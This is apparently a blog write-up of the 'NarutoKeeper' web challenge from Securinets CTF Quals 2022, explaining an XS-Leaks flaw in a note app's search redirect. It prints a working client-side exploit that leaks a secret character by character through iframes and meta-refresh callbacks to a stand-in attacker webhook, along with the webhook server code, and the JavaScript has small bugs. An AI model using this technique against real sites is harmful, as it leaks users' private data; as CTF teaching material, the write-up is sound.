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NarutoKeeper - Securinets CTF Quals 2022

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Table of Contents

tl;dr

  • Create a note with meta redirect tag to get callback.
  • Leak the flag using search functionality.

# Challenge Description

I was confused and didn’t know what’s the approproate name for this website :( However just a typical note keeper website \o/ Enjoy the ride :)

# Intro

This was an interesting XS-Leaks challenge from Securinets CTF qualfiiers, which had the least number of solves among web challenges.

# Analysis

In this challenge, we were given a note creating app and there was a search functionality where we can search note content. This seemed like a place to look for bugs like XS-Leaks.

The source code for search endpoint is given below.

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@app.route('/search')
def search():

    if 'username' not in session:
        return redirect('/login')

    if 'query' not in request.args:
        return redirect('/home')

    query = str(request.args.get('query'))
    results = get_pastes(session['username'])
    res_content=[{"id":id,"val":get_paste(id)} for id in results]

    if ":" in query:
        toGo=get_paste(query.split(":")[1])
        sear=query.split(":")[0]
    else:
        toGo=res_content[0]["val"]
        sear=query

    i=0

    for paste in res_content:
        i=i+1
        if i>5:
            return redirect("/view?id=MaximumReached&paste="+toGo.strip())

        if sear in paste["val"]:
            return redirect("/view?id=Found&paste="+toGo.strip())

    return render_template("search.html",error='No results found.',result="")

The following happens when a request is made to /search endpoint.

  1. The query argument is split based on :.
  2. First part of query is the note content which will be searched in current user’s note.
  3. The second part of query is a note id, to which the user will be redirected to when a note which matches the search is found.

Thus, the query argument takes the following format.

/search?query=substring:note_id

It is also to be noted that HTML can be inserted as a note, but there is a strict CSP which blocks us from executing JavaScript.

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<meta http-equiv="Content-Security-Policy" content="default-src 'self';object-src 'none'">

# Exploit 🔥

To exploit, we can use the /search endpoint. We check if there’s any note that contains a particular string and if present, we redirect to a note that contains an HTML code that can give the webhook server a callback.

This can be done using a <meta> refresh tag.

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<meta http-equiv="refresh" content="0;url=http://site/webhook">

However, there was a timeout which limits the time that bot stays in the given URL.

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await page2.goto(website,{
        waitUntil: 'networkidle0',  
        timeout:60000
}); // Opens page as logged user

But, waitUntil: 'networkidle0' means the bot will wait until there is no network connection for at least 500ms. So, it is possible to we can load a image which will delay the timeout.

# Exploit Script

  • Client-Side Exploit
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<!DOCTYPE html>
<html>
    <body>
    <script>

         function sleep(ms) {
                return new Promise(resolve => setTimeout(resolve, ms));
            }

        chars="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}"
        char=""
        webhookid="HNDMTOGDSWTAPQH397PIXAXKZ79QUWHQSE96RVSU6C5PZGGN5G5Z5L3R1FQN3FTJ"
        window.webHook = "http://attacker_site/"
        window.url=`https://20.124.0.135/search?query=Securinets{${char}:${webhookid}`
        var temp= document.createElement("iframe")
        temp.setAttribute("src", url)
        document.body.appendChild(temp)
        let know = "Securinets{"
        async function checker(){
            for(var i=0; i<chars.length; i++){
                char=Known+chars[i];
                await fetch('/log?current='+char)
                temp.src=`https://20.124.0.135/search?query=${char}:${webhookid}`
                await sleep(3000);
                let resp = await fetch('/progress')
                let found = await resp.text()
                if(found != know){
                    know = found
                    return;
                }

            }
        }
        while (know[-1] != '}'){
            checker();         
        }

    </script>
        <img src="http://sleep_url/"> <!-- Sleeps infinitely -->
    </body>
</html>
  • Webhook Server
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from flask import Flask,request,render_template,session,redirect

app = Flask(__name__)

found = ""
letter = ""

@app.route("/")
def welcome():
    return render_template("index.html")

@app.route("/log")
def log():
    global found, letter
    letter = request.args.get("current")
    return found

@app.route("/webhook")
def webhook():
    global found, letter
    found = found + letter
    return found

@app.route("/progress")
def progress():
    global found
    return found

if __name__=="__main__":
    app.run(host="0.0.0.0", debug=True, port=8085)

With the above exploit, whenever a note that matches a substring of the flag, the bot gets redirected to a webhook server.

There were many interesting solutions for this challenge like abuse the redirect in the search with fetch redirect limit. Solving this challenge was fun and learnt a lot with it.

# Flag ⛳️

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Securinets{ArigAt0}

Originally posted on blog.bi0s.in.

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